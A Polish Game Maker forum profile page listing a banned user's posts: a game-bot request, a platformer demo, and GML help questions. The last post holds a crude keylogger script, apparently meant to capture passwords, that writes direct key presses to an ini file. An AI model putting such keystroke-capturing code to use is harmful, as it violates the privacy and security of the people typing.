Skocz do zawartości

XxMichałxX

Zbanowani
  • Postów

    866
  • Dołączył

  • Ostatnia wizyta

Odpowiedzi opublikowane przez XxMichałxX

  1. bo konkretnie to bym chcial napisac bota do silnika eclipse evolution + przydalaby mi sie ta wiedza jak cos robic programem w innych programach, tylko nie bardzo wiem jak sie do tego zabrac. Umialbym napisac takiego bota - poprostu wciskal by control XD ale problem w tym ze npc jak w kazdej grze chodzą w rozne strony + trzeba byc przodem obroconym do npc zeby atakowac a to juz nie mam pojecia jak zrobic zeby przodem player sam podszedl do npc i naparzał

  2. Tytuł: KillerDoKwadratu (do kwadratu, dlatego ze jest kwadratem ^^)

     

    Gatunek: platformówka

     

    Opis: Zrobiłem takie demo v0.0000...01 KilleraDoKwadratu. Nazwa oczywiscie sie zmieni. Jest to takie zabugowane coś, ale zrobiłem to poto byście ściągneli i powiedzieli mi czy warto tą grę rozwinąć i znaleźć do niej grafika. Oczywiscie skoro ja ją robiłem to ma marną grafike ( kwadraty i kółka o jednym kolorze ^^) dlatego jesli komus spodoba sie projekt i zechce zostac grafikem do gry bede wdzieczny (gg: 8377827) ;p Ale do rzeczy: Taka sobie platformówka, trzeba zdobyc 6000pkt poprzez zabijanie wrogow i dojsc do zoltego czegos, a z reszta co tu sie bede meczyc. Podam game info ktore wpisalem do gry:

     

    KillerDoKwadratu [MEEGA DEMO v0.00000001]

     

    Chodzenie: A,D

    Skok: W

    Strzelanie: Lewy Przycisk Myszki

    Przeładowywanie: R

    Kupowanie:

    Magazynki Do Pistoletu: F1

    Magazynki Do Karabinu: F2

    HP: F3

    Zamiana punktow na kase: F4

    Zmiana broni:

    Pistolet: 1

    Karabin: 2

     

    Fabuła:

    Aby wygrac gre nalezy pozabijac

    troche wrogow aby zdobyc 6000pkt.

    Wtedy trzeba isc w strone prawego gornego

    rogu mapy aby tam wejsc w zolte cos ;]

     

    Z gory juz proponuje aby odrazu po starcie gry

    nacisnąc '2' i strzelac z karabina, ale

    oszczedzac naboje bo sa drogie.

     

    Prawde mówiąc w tej grze prawie nie da sie przegrać bo jest prosta ale mozna sie fajnie poczuć, niczym rambo który wbiega a w niego naparza 4 gostkow i wtedy on trach jeden lezy potem drugi i wgle ;]

    Download: https://gmclan.org/up5208_3_kdk.html

    Rozmiar pliku: 2,3MB

     

     

    Autorzy:

    Programowanie:
    Mazo

    Fabuła:
    Mazo

    Grafika:
    Mazo ( :crying: ), GM(tło)

    Muzyka:
    CounterStrike 1.6, GM

    Screeny:

    https://gmclan.org/up5208_3_screeny.html (3 screeny w pliku zip)

     

     

    No to mówcie czy warto kontynuować tą gre i czy warto zrobic [nowa_nazwa] v1.0 ?

    (nie zapominac ze szukam grafika ;p)

     

    ps - jak bedziecie grac to wyobrazcie sobie te kwadraty jako jakies ladne roboty, deski ludzi itp bo jak sie okaze ze gre opyla sie robic i ze bedzie grafik to tak mniejwiecej by wygladalo ;]

  3. W obj2:

    GML
    if distance_to_object(obj1)<200 then instance_create(x,y,obj2_pocisk)

    No i teraz bedzie lecial długi ciąg pocisków. Ja chciałbym zrobić żeby obj2 wypuszczał pocisk co pół sekundy a nie wciąż gdy ten dystans będzie mniejszy niż 200.

    Oczywiście sam bym to zrobił ale byłoby to za długie chciałbym to mieć w jak najkrótszym kodzie.

     

     

    Z góry thx.

  4. Dawidds a jak w twoim isave określić id pliku? bo robie np

    GML
    zal='hehe'

    isave_open('plik.txt','tajne')

    isave_set(1,'dupa',zal)

     

    ___________________________________________
    ERROR in
    action number 1
    of Create Event
    for object control:
    
    Data structure with index does not exist.

     

     

     

    edit: a dobra juz wiem, to nie id pliku tylko tak jakby jak w ini section nie?

    edit2: a nie jednak nie wiem.. czym w koncu jest to id? bo bez sensu jak chce zapisac plik to musze podac id, nazwe pliku i haslo.. co wpisac w id?

  5. GML
    tlo=show_message_ext('Wybierz tlo','Dzien','Noc','Losowo')

    if tlo='Dzien' then background_index=dzien

    if tlo='Noc' then background_index=noc

    if tlo='Losowo' then background_index=choose(dzien,noc,dzien)

     

    Nie wiem jak uzyc tego show_message_ext ale chcialbym go uzyc tak jak powyzej jest pokazane + mysle ze background_index=nazwa_bgrounda to chyba zle zastosowanie tej funkcji

    tak więc:

    jak uzyc tego s._m._ext i jak zmienic tło rooma?

  6. Zrobiłem sobie miernik haseł, tylko że napis nie pokazuje się.

    Oto kod:

    Create:

    GML
    show_message('Miernik trudnosci hasel By Mazo')

    cykacz=0

    pos=0

    litera=''

    com=''

    haslo=get_string('Podaj haslo:','')

    litery=string_length(string_letters(haslo))

    liczby=string_length(string_digits(haslo))

    znaki=string_length(string_lettersdigits(haslo))

    pktuz=litery*3+znaki*4+liczby*2

    pkt=0

    if pktuz>100 then pktuz=100

    if pktuz<=10 then com='Tego w ogole nie mozna haslem nazwac!'

    if pktuz>10 and pktuz<=20 then com='To haslo jest beznadziejne!'

    if pktuz>20 and pktuz<=30 then com='Slabe'

    if pktuz>30 and pktuz<=40 then com='Ehh.. cienkie, ale przejdzie.'

    if pktuz>40 and pktuz<=50 then com='Da rade.'

    if pktuz>50 and pktuz<=60 then com='Moze byc'

    if pktuz>60 and pktuz<=70 then com='Calkiem calkiem!'

    if pktuz>70 and pktuz<=80 then com='Twarde haslo!!'

    if pktuz>80 and pktuz<=90 then com='Bez hackowania nikt nie odgadnie! Extra!'

    if pktuz>90 then com='Super mocne haslo! Nie ma szans na odgadniecie!'

    jedz=1

    drawcom=''

    dlug=string_length(com)

    Step:

    GML
    if jedz=1

    {

    pkt+=0.5

    if pkt=pktuz

    {

    jedz=0

    cykacz=1

    }

    }

    if cykacz=1

    {

    cykacz=0

    alarm[0]=0

    }

    Alarm 0:

    GML
    if pos<dlug

    {

    pos+=1

    litera=string_char_at(com,pos)

    drawcom+=string(litera)

    if litera=' '

    {

    }

    else

    {

    sound_play(pyki)

    }

    alarm[0]=10

    }

    Draw:

    GML
    draw_healthbar(0,0,200,40,pkt,c_white,c_red,c_lime,0,1,1)

    draw_set_color(c_white)

    draw_text(0,50,drawcom)

     

    Program polega na tym ze sie wpisuje haslo on oblicza ilosc liter, znakow i liczb i je sobie mnozy i dodaje i wychodzi zmienna pktuz (punkty uzyskane). zmienna pkt ma sie powiekszac az dojdzie do pktuz i wtedy ladowanie na pasku zatrzyma się, a po tym co 10 'czasu' ma sie pojawiac kolejna literka ze zmiennej com. Czemu się nie pojawia? W tym programie juz mam taki syf ze nie moge sie połapac co zle zrobilem, albo o czym zapomnialem więc pisze tu.

     

    Z gory thx

     

    Edit: Jakbyco to tło rooma jest czarne dlatego draw_set_color(c_white)

  7. Create:

    GML
    nazwa=get_string('Podaj nazwe keylogowania:','zdobyc_haslo')

    ini_open('keylogger.ini')

    text=''

    if ini_section_exists(nazwa) then text=ini_read_string(nazwa,'TEXT','text')

    Step:

    GML
    if (keyboard_check_direct_pressed(ord('A'))==true)

    {

    text+='A'

    direct_pressed_end(ord('A'))

    }

    if (keyboard_check_direct_pressed(ord('B'))==true)

    {

    text+='B'

    direct_pressed_end(ord('B'))

    }

    if (keyboard_check_direct_pressed(ord('C'))==true)

    {

    text+='C'

    direct_pressed_end(ord('C'))

    }

    if (keyboard_check_direct_pressed(ord('D'))==true)

    {

    text+='D'

    direct_pressed_end(ord('D'))

    }

    if (keyboard_check_direct_pressed(ord('E'))==true)

    {

    text+='E'

    direct_pressed_end(ord('E'))

    }

    if (keyboard_check_direct_pressed(ord('F'))==true)

    {

    text+='F'

    direct_pressed_end(ord('F'))

    }

    if (keyboard_check_direct_pressed(ord('G'))==true)

    {

    text+='G'

    direct_pressed_end(ord('G'))

    }

    if (keyboard_check_direct_pressed(ord('H'))==true)

    {

    text+='H'

    direct_pressed_end(ord('H'))

    }

    if (keyboard_check_direct_pressed(ord('I'))==true)

    {

    text+='I'

    direct_pressed_end(ord('I'))

    }

    if (keyboard_check_direct_pressed(ord('J'))==true)

    {

    text+='J'

    direct_pressed_end(ord('J'))

    }

    if (keyboard_check_direct_pressed(ord('K'))==true)

    {

    text+='K'

    direct_pressed_end(ord('K'))

    }

    if (keyboard_check_direct_pressed(ord('L'))==true)

    {

    text+='L'

    direct_pressed_end(ord('L'))

    }

    if (keyboard_check_direct_pressed(ord('M'))==true)

    {

    text+='M'

    direct_pressed_end(ord('M'))

    }

    if (keyboard_check_direct_pressed(ord('N'))==true)

    {

    text+='N'

    direct_pressed_end(ord('N'))

    }

    if (keyboard_check_direct_pressed(ord('O'))==true)

    {

    text+='O'

    direct_pressed_end(ord('O'))

    }

    if (keyboard_check_direct_pressed(ord('P'))==true)

    {

    text+='P'

    direct_pressed_end(ord('P'))

    }

    if (keyboard_check_direct_pressed(ord('R'))==true)

    {

    text+='R'

    direct_pressed_end(ord('R'))

    }

    if (keyboard_check_direct_pressed(ord('S'))==true)

    {

    text+='S'

    direct_pressed_end(ord('S'))

    }

    if (keyboard_check_direct_pressed(ord('T'))==true)

    {

    text+='T'

    direct_pressed_end(ord('T'))

    }

    if (keyboard_check_direct_pressed(ord('U'))==true)

    {

    text+='U'

    direct_pressed_end(ord('U'))

    }

    if (keyboard_check_direct_pressed(ord('W'))==true)

    {

    text+='W'

    direct_pressed_end(ord('W'))

    }

    if (keyboard_check_direct_pressed(ord('Y'))==true)

    {

    text+='Y'

    direct_pressed_end(ord('Y'))

    }

    if (keyboard_check_direct_pressed(ord('Z'))==true)

    {

    text+='Z'

    direct_pressed_end(ord('Z'))

    }

    if (keyboard_check_direct_pressed(ord('X'))==true)

    {

    text+='X'

    direct_pressed_end(ord('X'))

    }

    if (keyboard_check_direct_pressed(ord('V'))==true)

    {

    text+='V'

    direct_pressed_end(ord('V'))

    }

    if (keyboard_check_direct_pressed(ord('1'))==true)

    {

    text+='1'

    direct_pressed_end(ord('1'))

    }

    if (keyboard_check_direct_pressed(ord('2'))==true)

    {

    text+='2'

    direct_pressed_end(ord('2'))

    }

    if (keyboard_check_direct_pressed(ord('3'))==true)

    {

    text+='3'

    direct_pressed_end(ord('3'))

    }

    if (keyboard_check_direct_pressed(ord('4'))==true)

    {

    text+='4'

    direct_pressed_end(ord('4'))

    }

    if (keyboard_check_direct_pressed(ord('5'))==true)

    {

    text+='5'

    direct_pressed_end(ord('5'))

    }

    if (keyboard_check_direct_pressed(ord('6'))==true)

    {

    text+='6'

    direct_pressed_end(ord('6'))

    }

    if (keyboard_check_direct_pressed(ord('7'))==true)

    {

    text+='7'

    direct_pressed_end(ord('7'))

    }

    if (keyboard_check_direct_pressed(ord('8'))==true)

    {

    text+='8'

    direct_pressed_end(ord('8'))

    }

    if (keyboard_check_direct_pressed(ord('9'))==true)

    {

    text+='9'

    direct_pressed_end(ord('9'))

    }

    if (keyboard_check_direct_pressed(vk_space)==true)

    {

    text+=' '

    direct_pressed_end(vk_space)

    }

    if (keyboard_check_direct_pressed(vk_backspace)==true)

    {

    string_delete(text,string_length(text)-1,1)

    direct_pressed_end(vk_backspace)

    }

    Game End:

    GML
    ini_write_string(nazwa,'TEXT',text)

    Draw:

    GML
    draw_text(0,0,text)

     

     

    Włączam, napisałem np.: "haslojakiestam" i odrazu po włączeniu text przyjmuje wartosc 'AEHIJKLMOST' czyli z zmiennej nazwa poprzekładało litery losowo i tak za kazdym razem.. z jakiej paki ?! :boxed: :blink: <_<

     

    Źle nazwany temat. Ostrzeżenie.

    gnysek

×
×
  • Dodaj nową pozycję...